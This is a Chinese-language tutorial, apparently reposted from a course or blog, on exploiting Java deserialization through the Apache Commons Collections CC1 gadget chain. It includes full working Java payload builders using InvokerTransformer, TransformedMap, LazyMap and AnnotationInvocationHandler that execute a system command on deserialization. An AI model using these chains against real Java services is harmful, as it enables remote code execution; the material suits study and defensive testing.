赞
踩
重点要知道:
java是半编译型,半解释性语言,需要将编译好的.class
文件放入JVM中加载
我们通过反射可以从已经运行的JVM中拿到我们想要的类,从类中获取构造方法,进行实例化,调用相关的方法,主要是Runtime的命令执行
java的序列化和反序列化,反序列化时会调用readObject()
方法,我们构造的readObject方法,需要满足和原项目中的包名一样的包名
hexdump -C Calc.class
上节课忘记讲了,,我们在传递数据的时候,为了保险稳定,一般会传入字节码
可以看到,class中是带了包名,我们说过,类是对象的模板,那么,在序列化对象的时候,如果包名出现了问题,自然会遇到一系列问题。
我们已经知道了序列化和反序列化漏洞的基本原理,那么怎么通过构造恶意数据,让反序列化产⽣⾮ 预期对象呢?
我们以CC链进行举例
Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ,主要封装了Java 的 Collection(集合) 相关类对象,它提供了很多强有⼒的数据结构类型并且实现了各种集合⼯ 具类。
collection是set,list,queue的抽象。
作为Apache开源项⽬的重要组件,Commons Collections被⼴泛应⽤于各种Java应⽤的开发,⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。
Apache Commons Collections中有⼀个特殊的接口,其中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用任意函数,叫做InvokerTransformer。
readObject
方法中实际上,我们简短的描述进行命令执行的化,就是这样,
Runtime.class.getMethod("getRuntime").invoke("null").exec("calc")
而我们使用反射的原因是因为,我们通过反射获取Runtime
类以后,他就实现了Class本身所继承的Serializable
我么现在写一个最基本的demo
package com.CC1;
public class Demo {
public static void main(String[] args) {
Class<Runtime> runtimeClass = Runtime.class;
}
}
当我们使用 ctrl alt v
补全类型以后,会发现他是Class <>的泛型,当我们长按ctrl
,左键点进去之后,就很明显的发现,它实现了Serializable
接口,那么,他就满足了序列化的条件
如果你有这样的疑惑,你不妨这样试一下
package com.CC1;
public class Demo {
public static void main(String[] args) {
Runtime runtime;
runtime = new Runtime();
}
}
它肯定是会报错的,因为他是一个单例类,,具体什么叫单例类,,自己可以看一下java的基础知识去,
参考java设计模式中单例模式就可
这里放一张图
所以我们需要用getRuntime
方法去获取实例
CommonsCollections <= 3.2.1
java < 8u71(我是用的是8u66)
导入依赖
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
当然也可以 用传统的 lib
包下导入add as a library
理解完上面的知识以后,你应该对反射和序列化有了初步的印象,接下来我们需要结合两者看几个demo
Map类是存储键值对的数据结构。 Apache Commons Collections中实现了TransformedMap , 具体的变换逻辑由Transformer类定义。
也就是说,TransformedMap类中的数据发⽣改变时, 可以⾃动对进⾏⼀些特殊的变换,⽐如在数据被修改时,把它改回来; 或者在数据改变时,进⾏⼀ 些我们提前设定好的操作。
而实现怎么样的操作或者便换,都是我们提前设定好的,这叫做
transform
我们可以使用TransformedMap.decorate()
方法获取一个TransformedMap
的实例 (同单例类)
TransformedMap.decorate⽅法,预期是对Map类的数据结构进⾏转化,该⽅法有三个参数
第⼀个参数为待转化的Map对象
第⼆个参数为Map对象内的key要经过的转化⽅法(可为单个⽅法,也可为链,也可为空)
第三个参数为Map对象内的value要经过的转化⽅法
作用:得到 class 对象
package com.CC1;
import org.apache.commons.collections.functors.ConstantTransformer;
public class Demo01 {
public static void main(String[] args) {
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
Object transform = constantTransformer.transform("null");
System.out.println(transform);
System.out.println(transform.getClass().getName());
}
}
作用:接⼝于Transformer的类都具备把⼀个对象转化为另⼀个对象的功能
先看一下它最常用的构造方法,可以看到需要传递三个参数
再看一下它的transform
方法
我们可以看到该类接收⼀个对象,获取该对象的名称,然后调⽤了⼀个invoke⽅法传递参数。另外,多 个Transformer还能串起来,形成ChainedTransformer。当触发时,ChainedTransformer可以按顺 序调⽤⼀系列的变换。
package com.CC1; import org.apache.commons.collections.functors.InvokerTransformer; public class Demo02 { public static void main(String[] args) { // 定义需要执⾏的本地系统命令 String cmd = "calc"; // 构建transformer对象 InvokerTransformer transformer = new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{cmd} ); // 传⼊Runtime实例,执⾏对象转换操作 transformer.transform(Runtime.getRuntime()); } }
当传⼊的参数是⼀个数组的时候,就开始循环读取,对每个参数调⽤ transform ⽅法,从⽽构造出 ⼀条链。
package com.CC1; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; public class Demo03 { public static void main(String[] args) { String cmd = "calc.exe"; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{ "getRuntime", new Class[0]} ), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null, new Object[0]} ), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd}) }; // 创建ChainedTransformer调⽤链对象 Transformer transformedChain = new ChainedTransformer(transformers); // 执⾏对象转换操作 transformedChain.transform(null); } }
于是,我们的思路环境就出来了
当然,这里所调用的每个类自然也是继承了Serializable
接口,例如,
整体思路还是和上节课反射一样,仔细捋一下。上节课我们也提到过最后用数组包含起来传值的思路,这样是不是就理清了很多。
通过上面的几个例子,我们应该可以明白,最终是需要调用transform
方法,才能完成我们最后一步。
但是,问题就来了:
ChainedTransformer
;transform
方法执行本地命令;但是我们看一下由工具ysoserial
构造的payload
org.apache.commons.collections.map.TransformedMap
类间接的实现了java.util.Map接口,同时支持对Map的key或者value进行Transformer转换,调用decorate和decorateTransform方法就可以创建一个TransformedMap:
关键代码如下
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
Transformer实现类分别绑定到map的key和value上,当map的key或value被修改时,会调用对应Transformer实现类的transform()方法。
我们可以把chainedtransformer
绑定到一个TransformedMap
上,当此map的key或value发生改变时(调用TransformedMap
的setValue/put/putAll
中的任意方法),就会自动触发chainedtransformer
。
所以,我们的demo’可以如下:
package com.CC1; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class Demo04 { public static void main(String[] args) { String cmd = "calc.exe"; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{ "getRuntime", new Class[0]} ), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null, new Object[0]} ), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd}) }; // 创建ChainedTransformer调⽤链对象 Transformer transformedChain = new ChainedTransformer(transformers); //创建Map对象 Map map = new HashMap(); map.put("value", "value"); // 使⽤TransformedMap创建⼀个含有恶意调⽤链的Transformer类的Map对象 Map transformedMap = TransformedMap.decorate(map, null, transformedChain); // transformedMap.put("v1", "v2");// 执⾏put也会触发transform // 遍历Map元素,并调⽤setValue⽅法 for (Object obj : transformedMap.entrySet()) { Map.Entry entry = (Map.Entry) obj; // setValue最终调⽤到InvokerTransformer的transform⽅法,从⽽触发Runtime命令执⾏调⽤链 entry.setValue("test"); } // System.out.println(transformedMap); } }
我们就来总结一下使用TransformedMap
的条件
java.io.Serializable
接口;TransformedMap
对象;TransformedMap
中的setValue/put/putAll
中的任意方法一个方法的类;在AnnotationInvocationHandler
中 invoke方法都调用了get方法参数可控,readObject方法中满足setValue()
进行transform
执行
这里以readObject
做例子
这里的
readObject
是AnnotationInvocationHandler中的------>具体参考java的多态性质
sun.reflect.annotation.AnnotationInvocationHandler类实现了java.lang.reflect.InvocationHandler(Java动态代理)接口和java.io.Serializable接口,是用来处理注解的一个类。它还重写了readObject方法,在readObject方法中间接的调用了TransformedMap中MapEntry的setValue方法,从而也就触发了transform方法,完成了整个攻击链的调用。
我调了一下,调用堆栈如下
readObject:428, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
main:82, Demo05 (com.CC1)
可以看到,调用了setValue()
方法
上图中的第352行中的memberValues是AnnotationInvocationHandler的成员变量,memberValues的值是在var1.defaultReadObject();时反序列化生成的,它也就是我们在创建AnnotationInvocationHandler时传入的带有恶意攻击链的TransformedMap。需要注意的是如果我们想要进入到var5.setValue这个逻辑那么我们的序列化的map中的key必须包含创建AnnotationInvocationHandler时传入的注解的方法名。
于是,我们修改后完整的过程如下
package com.CC1; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.Arrays; import java.util.HashMap; import java.util.Map; public class Demo05 { public static void main(String[] args) { String cmd = "calc"; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]} ), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{null, new Object[0]} ), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd}) }; // 创建ChainedTransformer调用链对象 Transformer transformedChain = new ChainedTransformer(transformers); // 创建Map对象 Map map = new HashMap(); map.put("value", "value"); // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象 Map transformedMap = TransformedMap.decorate(map, null, transformedChain); try { // 获取AnnotationInvocationHandler类对象 Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 获取AnnotationInvocationHandler类的构造方法 Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); // 设置构造方法的访问权限 constructor.setAccessible(true); // 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例,等价于: // Object instance = new AnnotationInvocationHandler(Target.class, transformedMap); Object instance = constructor.newInstance(Target.class, transformedMap); // 创建用于存储payload的二进制输出流对象 ByteArrayOutputStream baos = new ByteArrayOutputStream(); // 创建Java对象序列化输出流对象 ObjectOutputStream out = new ObjectOutputStream(baos); // 序列化AnnotationInvocationHandler类 out.writeObject(instance); out.flush(); out.close(); // 获取序列化的二进制数组 byte[] bytes = baos.toByteArray(); // 输出序列化的二进制数组 System.out.println("Payload攻击字节数组:" + Arrays.toString(bytes)); // 利用AnnotationInvocationHandler类生成的二进制数组创建二进制输入流对象用于反序列化操作 ByteArrayInputStream bais = new ByteArrayInputStream(bytes); // 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象 ObjectInputStream in = new ObjectInputStream(bais); // 模拟远程的反序列化过程 in.readObject(); // 关闭ObjectInputStream输入流 in.close(); } catch (Exception e) { e.printStackTrace(); } } }
看到这里,你会发现,不对啊,ysoserial
里面是LazyMap
,而我们却没有讲到,这里讲一下
有师傅分析LazyMap
类,里面的get
方法正好符合put
去调用transform
的情况
get方法同时还要求传入一个Object 参数,get方法内部在调用transform方法之前会先判断一下key,如果当前map中不存在key的话,则通过factory来创建一个value
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
同时,因为factory是LazyMap类的成员属性,其数据类型也是Transformer
public class LazyMap
extends AbstractMapDecorator
implements Map, Serializable {
/** Serialization version */
private static final long serialVersionUID = 7990956402564206740L;
/** The factory to use to construct elements */
protected final Transformer factory;
同时还具有我们熟悉的decorate
方法,这个方法和之前TransformedMap中的decorate方法的用法一样,它要求接收两个参数,一个是Map,另一个是Transformer类型的factory,这意味着factory参数是可控的,我们可以通过反射或者构造方法来控制factory参数。
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
LazyMap类的利用链问题解决了,但还需要一个类在反序列化的时候触发LazyMap类的get方法,因此还得借助AnnotationInvocationHandler类,通过AnnotationInvocationHandler类的构造方法将LazyMap传递给memberValues,也就是说我们要获得AnnotationInvocationHandler的构造器。
这里我们以invoke()
方法做例子
其中invoke的关键函数是,可以看到invoke方法中有一个memberValues调用了get方法,memberValues的值是可控的。
public Object invoke(Object var1, Method var2, Object[] var3) {
Object var6 = this.memberValues.get(var4);
}
答案就是:通过反射将代理对象proxyMap传给AnnotationInvocationHandler的构造方法
通过分析AnnotationInvocationHandler类,发现这个类实现了InvocationHandler接口,是动态代理的接口。
public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h);
参数loader表示目标对象所属类的加载器,因此这里要传入Map的类加载器
参数interfaces表示目标对象实现的接口(通过反射获取),也就是目标对象lazyMap实现的接口,这里还是传入Map对象
参数h表示代理类要完成的功能,注意参数h的类型时InvocationHandler,因此这里我们要传入AnnotationInvocationHandler对象
具体的话参考此https://blog.csdn.net/u012326462/article/details/81293186
在Spring里面,逐渐演化为AOP思想
既然我们的目标是调用LazyMap类的get方法,那么可以通过Proxy类的静态方法newProxyInstance来创建LazyMap类的动态代理对象,当lazyMap调用方法时就会调用代理对象的invoke方法。
通过调试,AnnotationInvocationHandler的构造会将代理对象proxyMap赋值给成员属性memberValues
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
然后AnnotationInvocationHandler对象在反序列化的时候调用重写的readObject方法
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { Map var3 = var2.memberTypes(); //获取LazyMap父类的entrySet Iterator var4 = this.memberValues.entrySet().iterator(); while(var4.hasNext()) { //代理对象调用方法 Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } } }
当调用readObject方法时,memberValues的值就是代理对象proxyMap(也就是LazyMap的代理对象),只要代理对象proxyMap调用方法就会执行AnnotationInvocationHandler中的invoke方法(代理对象调用任何方法In,不管vocationHandler的invoke方法都会进行拦截,这就是动态代理技术)
所以,我们可以构造为
package com.CC1; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class Demo06 { public static void main(String[] args) throws ClassNotFoundException, IOException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchMethodException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{ "getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}), }; Transformer transformerChain = new ChainedTransformer(transformers); Map map = new HashMap(); Map lazyMap = LazyMap.decorate(map, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler annotationInvocationHandler = (InvocationHandler) construct.newInstance(Target.class, lazyMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), lazyMap.getClass().getInterfaces(), annotationInvocationHandler); annotationInvocationHandler = (InvocationHandler) construct.newInstance(Target.class, proxyMap); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(annotationInvocationHandler); oos.close(); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object) ois.readObject(); } }
LazyMap链的触发点不应该是 this.memberValues.entrySet() 吗?然而调试发现并不是从这个断点进入的命令执行,而是从 (Entry)var4.next() 方法进入的
TransformedMap链的HashMap实例需要存在value键,否则无法通过 if (var7 != null)
条件,具体为什么HashMap的键值对应着AbstractInputCheckedMapDecorator.MapEntry的键值
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。